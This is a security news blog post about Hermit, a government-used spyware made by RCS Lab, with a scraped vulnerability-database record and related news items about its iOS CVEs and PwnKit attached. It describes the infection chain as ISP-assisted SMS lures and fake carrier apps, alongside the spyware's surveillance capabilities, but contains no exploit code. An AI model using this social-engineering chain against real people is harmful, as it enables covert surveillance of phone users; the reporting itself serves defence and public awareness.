Google's Threat Analysis Group (TAG) has [revealed a sophisticated spyware activity](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) involving ISPs (internet service providers) aiding in downloading powerful commercial spyware onto users' mobile devices. The spyware, dubbed Hermit, is [reported](<https://techcrunch.com/2022/06/17/hermit-spyware-government/>) to have government clients much like Pegasus.
Italian vendor RCS Labs developed Hermit. The spyware was spotted in Kazakhstan (to suppress protests against government policies), Italy (to investigate those involved in an anti-corruption case), and Syria (to monitor its northeastern Kurdish region), all deployed by their respective governments.
Hermit affects Android and iOS devices and is described as a modular spyware. This means it can download pieces of itself (modules) for additional functionalities, making it customizable to suit client needs, from a [C2 (command and control)](<https://blog.malwarebytes.com/glossary/cc/>) server.
Unlike NSO's Pegasus, Hermit is not as stealthy. But at its core, it functions like any government-grade spyware. It can read SMS and chat messages, view passwords, intercept calls, record calls and ambient audio, redirect calls, and pinpoint precise locations of victims.
Hermit also roots all infected Android devices, giving itself deeper access to phone features and user data. On iOS, Hermit is packed with six exploits, two of which were targeting [zero-day](<https://blog.malwarebytes.com/glossary/zero-day/>) vulnerabilities. According to Google's report, these are the following exploits:
* [CVE-2018-4344](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>) internally referred to and publicly known as LightSpeed.
* [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet
* [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste.
* [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare.
* [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.
* [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3, [fixed](<https://support.apple.com/en-us/HT212976>) by Apple in December 2021.
A Hermit spyware campaign starts off as a seemingly authentic messaging app users are deceived into downloading. A government actor also poses as a mobile carrier over SMS—sometimes with the help of the target's ISP—to socially engineer targets into downloading the spyware masquerading as a tool to "fix" their internet connection.
Both Apple and Google have already notified their users regarding this spyware, and then some. Apple revoked the legitimate certificates Hermit abused to reside on iPhone devices, while Google beefed up its Google Play Protect security app to block Hermit from running. Google also pulled the plug on Hermit's Firebase account, which it uses to communicate with its C2.
[When questioned by TechCrunch](<https://techcrunch.com/2022/06/23/hermit-zero-day-android-spyware/>), RCS Labs provided a statement, which we have replicated in part below:
> RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers.
Providers of government-grade spyware like Pegasus and Hermit always claim to have legitimate reasons for creating malware. But as we've seen and heard from countless reports, they are mainly used to spy on [journalists, activists, and human rights defenders](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>).
The post [Hermit spyware is deployed with the help of a victim's ISP](<https://blog.malwarebytes.com/reports/2022/06/hermit-spyware-is-deployed-with-the-help-of-a-victims-isp/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).
{"id": "MALWAREBYTES:762422C08BCD930748F1EED62A25716D", "vendorId": null, "type": "malwarebytes", "bulletinFamily": "blog", "title": "Hermit spyware is deployed with the help of a victim\u2019s ISP", "description": "Google's Threat Analysis Group (TAG) has [revealed a sophisticated spyware activity](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) involving ISPs (internet service providers) aiding in downloading powerful commercial spyware onto users' mobile devices. The spyware, dubbed Hermit, is [reported](<https://techcrunch.com/2022/06/17/hermit-spyware-government/>) to have government clients much like Pegasus.\n\nItalian vendor RCS Labs developed Hermit. The spyware was spotted in Kazakhstan (to suppress protests against government policies), Italy (to investigate those involved in an anti-corruption case), and Syria (to monitor its northeastern Kurdish region), all deployed by their respective governments. \n\nHermit affects Android and iOS devices and is described as a modular spyware. This means it can download pieces of itself (modules) for additional functionalities, making it customizable to suit client needs, from a [C2 (command and control)](<https://blog.malwarebytes.com/glossary/cc/>) server.\n\nUnlike NSO's Pegasus, Hermit is not as stealthy. But at its core, it functions like any government-grade spyware. It can read SMS and chat messages, view passwords, intercept calls, record calls and ambient audio, redirect calls, and pinpoint precise locations of victims. \n\nHermit also roots all infected Android devices, giving itself deeper access to phone features and user data. On iOS, Hermit is packed with six exploits, two of which were targeting [zero-day](<https://blog.malwarebytes.com/glossary/zero-day/>) vulnerabilities. According to Google's report, these are the following exploits:\n\n * [CVE-2018-4344](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>) internally referred to and publicly known as LightSpeed.\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste.\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare.\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n * [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3, [fixed](<https://support.apple.com/en-us/HT212976>) by Apple in December 2021.\n\nA Hermit spyware campaign starts off as a seemingly authentic messaging app users are deceived into downloading. A government actor also poses as a mobile carrier over SMS\u2014sometimes with the help of the target's ISP\u2014to socially engineer targets into downloading the spyware masquerading as a tool to "fix" their internet connection.\n\nBoth Apple and Google have already notified their users regarding this spyware, and then some. Apple revoked the legitimate certificates Hermit abused to reside on iPhone devices, while Google beefed up its Google Play Protect security app to block Hermit from running. Google also pulled the plug on Hermit's Firebase account, which it uses to communicate with its C2.\n\n[When questioned by TechCrunch](<https://techcrunch.com/2022/06/23/hermit-zero-day-android-spyware/>), RCS Labs provided a statement, which we have replicated in part below:\n\n> RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers.\n\nProviders of government-grade spyware like Pegasus and Hermit always claim to have legitimate reasons for creating malware. But as we've seen and heard from countless reports, they are mainly used to spy on [journalists, activists, and human rights defenders](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>).\n\nThe post [Hermit spyware is deployed with the help of a victim's ISP](<https://blog.malwarebytes.com/reports/2022/06/hermit-spyware-is-deployed-with-the-help-of-a-victims-isp/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "published": "2022-06-29T10:03:54", "modified": "2022-06-29T10:03:54", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3}, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://blog.malwarebytes.com/reports/2022/06/hermit-spyware-is-deployed-with-the-help-of-a-victims-isp/", "reporter": "Jovi Umawing", "references": [], "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "immutableFields": [], "lastseen": "2022-06-29T10:05:45", "viewCount": 329, "enchantments": {"score": {"value": 0.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "apple", "idList": ["APPLE:04F5ABD74855F11EE9FB1CF616BE4AD8", "APPLE:09ADD2292B0E01A1FC495FFDDD910A90", "APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:1CEBBC700FA0246151721568A403C4AB", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:2B6F011ECD9EFE0F4D0983E7E6A91A15", "APPLE:2EE2144BB2018A0AD5767CAEB9BEE40D", "APPLE:466BEDED69CFA24057993B0F7E611178", "APPLE:4F18D4C9912459DD113CA737563EA768", "APPLE:5678B20D3DFDE1186274020F3596D327", "APPLE:57687011D0766424B56EB268957F8A8B", "APPLE:641BF7B19AB3F0B1399AF172B576602D", "APPLE:76759F30E38205B816379E57C5E5C4C3", "APPLE:7F9AB5C55AFC9F26426EAC423ABBC6C9", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:95BC210DA5C57E5032BDB392962096A3", "APPLE:AA327FA1C4CF3105C8CBED9D78735E12", "APPLE:B891E6B961A423A3FA7E0836C2B1370D", "APPLE:BC67DF8DBD817484CD025371218D2504", "APPLE:E110ECBEC1B5F4EBE4C6799FF1A4F4E0", "APPLE:E6562A443B7DE882FE6DB7BD64EBE1E5", "APPLE:HT209106", "APPLE:HT209107", "APPLE:HT209108", "APPLE:HT209139", "APPLE:HT210122", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550", "APPLE:HT210918", "APPLE:HT210919", "APPLE:HT210920", "APPLE:HT210921", "APPLE:HT211288", "APPLE:HT211290"]}, {"type": "attackerkb", "idList": ["AKB:12E53A37-65EB-4DDE-B8B5-4725EB276697", "AKB:1FAC9EAB-6C14-40A6-94CA-04062F93D773", "AKB:364CE6DE-6616-4A9A-A8AD-39BDF6E3A648", "AKB:6D505D1C-0B29-469A-A737-A0BE8B67AE7E", "AKB:75F81F32-FCA7-4ED1-BBC6-18A871505C58", "AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28"]}, {"type": "cisa", "idList": ["CISA:E1F65044D75ACB497440E12A5184D628"]}, {"type": "cve", "idList": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892", "EDB-ID:47409"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "GOOGLEPROJECTZERO:134E75915DAD18CF160898445DC5FC4A", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:90F2510A2D950366E6936B04EE986011", "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "GOOGLEPROJECTZERO:B7D83FD0998DB6A044E63C8C9134F8C9", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:06370D9EBE082D086159FCD30F167EBA", "MALWAREBYTES:11D4071979D3FC1E6028AA8D71EB87F4", "MALWAREBYTES:C265FF6D1D82CDE3FB6E6C1E4248A791"]}, {"type": "nessus", "idList": ["700518.PRM", "700552.PRM", "700667.PRM", "700713.PRM", "700719.PRM", "701155.PRM", "APPLETV_12_3.NASL", "APPLETV_12_4_1.NASL", "APPLETV_13_3_1.NASL", "APPLE_IOS_120_CHECK.NBIN", "APPLE_IOS_123_CHECK.NBIN", "APPLE_IOS_1241_CHECK.NBIN", "APPLE_IOS_1331_CHECK.NBIN", "APPLE_IOS_136_CHECK.NBIN", "APPLE_IOS_1481_CHECK.NBIN", "APPLE_IOS_1502_CHECK.NBIN", "APPLE_IOS_152_CHECK.NBIN", "MACOSX_SECUPD2019-003.NASL", "MACOS_10_14.NASL", "MACOS_10_14_5.NASL", "MACOS_HT210919.NASL", "MACOS_HT212869.NASL", "MACOS_HT212872.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814888", "OPENVAS:1361412562310815616", "OPENVAS:1361412562310816619"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:5101CC734C1A900451E5994AFF57209A"]}, {"type": "thn", "idList": ["THN:1F783FB04C34EEEF700F6B7C43ED8FA3", "THN:38E80608368A67C138D1E4D8187D2AA3", "THN:4376782A3F009FEED68FDD2022A11EF5", "THN:754EDA3BD8060BD079B3DB44EE616405", "THN:79F83648DEAA2E305471E325D6B2DE48", "THN:BB8CDCFD08801BDD2929E342853D03E9", "THN:BC46175420BE934D07B4CB081F495CCB", "THN:C19BDA30D2242223E7A434F1E4051E68", "THN:DCB20559AE0C35EB864725D482E268C2"]}, {"type": "threatpost", "idList": ["THREATPOST:57E503E30D6F729869ADA40579BF5339", "THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "THREATPOST:760D774FCA5FD00BE1174D5CB428884D", "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:D0D55E3C83FB920181D2FBF6C90C64E4", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-32762", "1337DAY-ID-33925"]}]}, "epss": [{"cve": "CVE-2018-4344", "epss": "0.003970000", "percentile": "0.693720000", "modified": "2023-03-19"}, {"cve": "CVE-2019-8605", "epss": "0.001330000", "percentile": "0.467630000", "modified": "2023-03-19"}, {"cve": "CVE-2020-3837", "epss": "0.001350000", "percentile": "0.469830000", "modified": "2023-03-19"}, {"cve": "CVE-2020-9907", "epss": "0.001600000", "percentile": "0.508540000", "modified": "2023-03-19"}, {"cve": "CVE-2021-30883", "epss": "0.001240000", "percentile": "0.451880000", "modified": "2023-03-19"}, {"cve": "CVE-2021-30983", "epss": "0.001070000", "percentile": "0.418990000", "modified": "2023-03-19"}], "vulnersScore": 0.6}, "_state": {"dependencies": 1659988328, "score": 1684014595, "epss": 1679300024}, "_internal": {"score_hash": "4d084379f0520deab91546004a5979c0"}}
{"thn": [{"lastseen": "2022-06-27T05:57:36", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi_58XOVBOF2WpPZngrxCJrgYE6cjkbHpIcr-GX7d5Uzhck2ObXSwQKiQTpq9FmEN3WmoMkwju5efF9Xc01CVrFq1eFhtqleQPi7XpbXcsShqMm6ZWg3YasiFzVSrhfNa_036T7P-qZVmq81PX66kNUWzIRXGQ4MlR1GF-UHRjfbpNeyFAavp0k0JZC/s728-e100/spyware.jpg>)\n\nA week after it emerged that a sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices.\n\nAdditionally, necessary changes have been implemented in [Google Play Protect](<https://support.google.com/googleplay/answer/2812853?hl=en>) \u2014 Android's built-in malware defense service \u2014 to protect all users, Benoit Sevens and Clement Lecigne of Google Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) in a Thursday report.\n\nHermit, the work of an Italian vendor named RCS Lab, was [documented](<https://thehackernews.com/2022/06/researchers-uncover-hermit-android.html>) by Lookout last week, calling out its modular feature-set and its abilities to harvest sensitive information such as call logs, contacts, photos, precise location, and SMS messages.\n\nOnce the threat has thoroughly insinuated itself into a device, it's also equipped to record audio and make and redirect phone calls, besides abusing its permissions to accessibility services on Android to keep tabs on various foreground apps used by the victims.\n\nIts modularity also enables it to be wholly customizable, equipping the spyware's functionality to be extended or altered at will. It's not immediately clear who were targeted in the campaign, or which of RCS Lab clients were involved. \n\nThe Milan-based company, operating since 1993, [claims](<https://www.rcslab.it/en/about-us/index.html>) to provide \"law enforcement agencies worldwide with cutting-edge technological solutions and technical support in the field of lawful interception for more than twenty years.\" More than 10,000 intercepted targets are purported to be handled daily in Europe alone.\n\n\"Hermit is yet another example of a digital weapon being used to target civilians and their mobile devices, and the data collected by the malicious parties involved will surely be invaluable,\" Richard Melick, director of threat reporting for Zimperium, said.\n\nThe targets have their phones infected with the spy tool via drive-by downloads as initial infection vectors, which, in turn, entails sending a unique link in an SMS message that, upon clicking, activates the attack chain.\n\nIt's suspected that the actors worked in collaboration with the targets' internet service providers (ISPs) to disable their mobile data connectivity, followed by sending an SMS that urged the recipients to install an application to restore mobile data access.\n\n\"We believe this is the reason why most of the applications masqueraded as mobile carrier applications,\" the researchers said. \"When ISP involvement is not possible, applications are masqueraded as messaging applications.\"\n\nTo compromise iOS users, the adversary is said to have relied on provisioning profiles that allow fake carrier-branded apps to be sideloaded onto the devices without the need for them to be available on the App Store.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgKxf3LTdIpRlLTdHVMxJz6DMcp25ikFt0T4002dNVYUAA6N0eJGSGDEFVP-CRn4VeFeAxsc_k4l9zOPwHc_D1G_ZenuJ81jtGLPAQRJ08AE58sXgpjH7D9NTWe8fkjGVzgwdoTblTH8Jx9fB9hC_Yw2E7qbLfLScV80Ub9Hs9ZWfMo-n8iuihKPw85/s728-e100/android.jpg>)\n\nAn analysis of the iOS version of the app shows that it leverages as many as six exploits \u2014 [CVE-2018-4344](<https://nvd.nist.gov/vuln/detail/CVE-2018-4344>), [CVE-2019-8605](<https://nvd.nist.gov/vuln/detail/cve-2019-8605>), [CVE-2020-3837](<https://nvd.nist.gov/vuln/detail/CVE-2020-3837>), [CVE-2020-9907](<https://nvd.nist.gov/vuln/detail/CVE-2020-9907>), [CVE-2021-30883](<https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html>), and [CVE-2021-30983](<https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html>) \u2014 to exfiltrate files of interest, such as WhatsApp databases, from the device.\n\n\"As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too,\" Google Project Zero's Ian Beer [said](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) in a deep-dive analysis of an iOS artifact that impersonated the My Vodafone carrier app.\n\nOn Android, the drive-by attacks require that victims enable a setting to install third-party applications from unknown sources, doing so which results in the rogue app, masquerading as smartphone brands like Samsung, requesting for extensive permissions to achieve its malicious goals.\n\nThe Android variant, besides attempting to root the device for entrenched access, is also wired differently in that instead of bundling exploits in the APK file, it contains functionality that permits it to fetch and execute arbitrary remote components that can communicate with the main app.\n\n\"This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need,\" the researchers noted. \"Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.\"\n\nStating that seven of the nine zero-day exploits it discovered in 2021 were developed by [commercial providers](<https://thehackernews.com/2022/05/cytroxs-predator-spyware-target-android.html>) and sold to and used by [government-backed actors](<https://thehackernews.com/2022/06/nso-confirms-pegasus-spyware-used-by-at.html>), the tech behemoth said it's tracking more than 30 vendors with varying levels of sophistication who are known to trade exploits and surveillance capabilities.\n\nWhat's more, Google TAG raised concerns that vendors like RCS Lab are \"stockpiling zero-day vulnerabilities in secret\" and cautioned that this poses severe risks considering a number of spyware vendors have been compromised over the past ten years, \"raising the specter that their stockpiles can be released publicly without warning.\"\n\n\"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits,\" TAG said.\n\n\"While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.\"\n\n**_Update:_** When reached for comment, RCS Lab said its \"core business is the design, production and implementation of software platforms dedicated to lawful interception, forensic intelligence, and data analysis\" and that it helps law enforcement prevent and investigate serious crimes such as acts of terrorism, drug trafficking, organized crime, child abuse, and corruption.\n\nHere is the rest of unattributed statement -\n\n_RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers. RCS Lab strongly condemns any abuse or improper use of its products which are designed and produced with the intent of supporting the legal system in preventing and combating crime._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:40:00", "type": "thn", "title": "Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-27T05:57:22", "id": "THN:C19BDA30D2242223E7A434F1E4051E68", "href": "https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-01T17:21:05", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh27MmgEKR4VQaH1Y1a5Tyhwi79vrhj-AlRf9D39bbkC4uyHLaQzptydYJYrq3DKH2rTA6dQpDGZ27k3bvxNHSKdcitKwKFPIdvSmUGI1uOwO-fI9TRSnHoUJQfaugfF7mE9l6fJbgMIAQ61Efis8jhvOy2YtnehFwVfXvcGkeFB_B4M4sD49Jz8xiw/s728-e100/linux.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to [add](<https://www.cisa.gov/uscert/ncas/current-activity/2022/06/27/cisa-adds-eight-known-exploited-vulnerabilities-catalog>) a Linux vulnerability dubbed **PwnKit** to its [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), citing evidence of active exploitation.\n\nThe issue, tracked as [CVE-2021-4034](<https://nvd.nist.gov/vuln/detail/CVE-2021-4034>) (CVSS score: 7.8), came to light in January 2022 and concerns a case of [local privilege escalation](<https://thehackernews.com/2022/01/12-year-old-polkit-flaw-lets.html>) in polkit's pkexec utility, which allows an authorized user to execute commands as another user.\n\nPolkit (formerly called PolicyKit) is a toolkit for controlling system-wide privileges in Unix-like operating systems, and provides a mechanism for non-privileged processes to communicate with privileged processes.\n\nSuccessful exploitation of the flaw could induce pkexec to execute arbitrary code, granting an unprivileged attacker administrative rights on the target machine. It's not immediately clear how the vulnerability is being weaponized in the wild, nor is there any information on the identity of the threat actor that may be exploiting it.\n\nAlso included in the catalog is [CVE-2021-30533](<https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1>), a security shortcoming in Chromium-based web browsers that was leveraged by a malvertising threat actor codenamed Yosec to deliver dangerous payloads last year.\n\nFurthermore, the agency added the newly disclosed Mitel VoIP zero-day ([CVE-2022-29499](<https://thehackernews.com/2022/06/hackers-exploit-mitel-voip-zero-day-bug.html>)) as well as [five Apple iOS vulnerabilities](<https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html>) (CVE-2018-4344, CVE-2019-8605, CVE-2020-9907, CVE-2020-3837, and CVE-2021-30983) that were recently uncovered as having been abused by Italian spyware vendor RCS Lab.\n\nTo mitigate any potential risk of exposure to cyberattacks, it's recommended that organizations prioritize timely remediation of the issues. Federal Civilian Executive Branch Agencies, however, are required to mandatorily patch the flaws by July 18, 2022.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-29T04:01:00", "type": "thn", "title": "CISA Warns of Active Exploitation of 'PwnKit' Linux Vulnerability in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-1765", "CVE-2021-30533", "CVE-2021-30983", "CVE-2021-4034", "CVE-2022-29499"], "modified": "2022-07-01T15:53:51", "id": "THN:4376782A3F009FEED68FDD2022A11EF5", "href": "https://thehackernews.com/2022/06/cisa-warns-of-active-exploitation-of.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:49", "description": "[](<https://thehackernews.com/images/-c0fr2BEqnyE/XWTIRC538-I/AAAAAAAA01Q/O2W_B4FY4VsmFiatZb4HkKbpHlj9WouPgCLcBGAs/s728-e100/apple-ios-jailbreak-update.jpg>)\n\nApple just patched an unpatched flaw that it patched previously but accidentally unpatched recently \u2014 did I confuse you? \n \nLet's try it again... \n \nApple today finally released iOS 12.4.1 to fix a [critical jailbreak vulnerability](<https://thehackernews.com/2019/08/ios-iphone-jailbreak.html>), like it or not, that was initially patched by the company in iOS 12.3 but was then accidentally got reintroduced in the previous iOS 12.4 update. \n \nFor those unaware, roughly a week ago, an anonymous researcher who goes by the online alias \"Pwn20wnd\" released a free jailbreak for iOS 12.4 on GitHub that exploited a kernel vulnerability (CVE-2019-8605) that Apple patched in iOS 12.3 in May this year. \n \nHowever, the vulnerability accidentally got reintroduced in iOS 12.4 in July, making it easier for hackers to jailbreak updated Apple devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier. \n \nNow, Apple has released iOS 12.4.1 to re-patch the security issue that not only allowed for jailbreaking but could have also allowed hackers or malicious applications to execute arbitrary code on a target Apple device with the highest level of privileges, i.e., system privileges. \n \n[Jailbreaking an iPhone](<https://thehackernews.com/2019/01/ios12-jailbreak-exploit.html>) gives you more control over your device by allowing you to install apps and other functions that are usually not approved by Apple, but it comes with its downside. \n \nJailbreaking also disables some system protections that the company has put in place to protect its users, exposing users to malicious apps from the App Store and eventually opening them to potential security risks. \n \nThough Jailbreakers are advising users not to apply iOS 12.4.1 as it closes the exploit, I would personally recommend you to apply the security update as soon as possible if you really care about security. \n \nTo install the latest update, which features \"important security and stability updates,\" navigate to your device's Settings \u2192 General \u2192 Software Update and tap \"Download and Install\" given right at the bottom. \n \nAlternatively, you can also update your Apple device to iOS 12.4.1 through iTunes by connecting your iOS device to a computer and checking for the update. \n \nIn its [security update](<https://support.apple.com/en-us/HT210549>) note, Apple also acknowledged Pwn20wnd, who released the public jailbreak, for bringing the vulnerability to their attention. \"We would like to acknowledge @Pwn20wnd for their assistance,\" the company wrote. \n\n\nFound this article interesting? 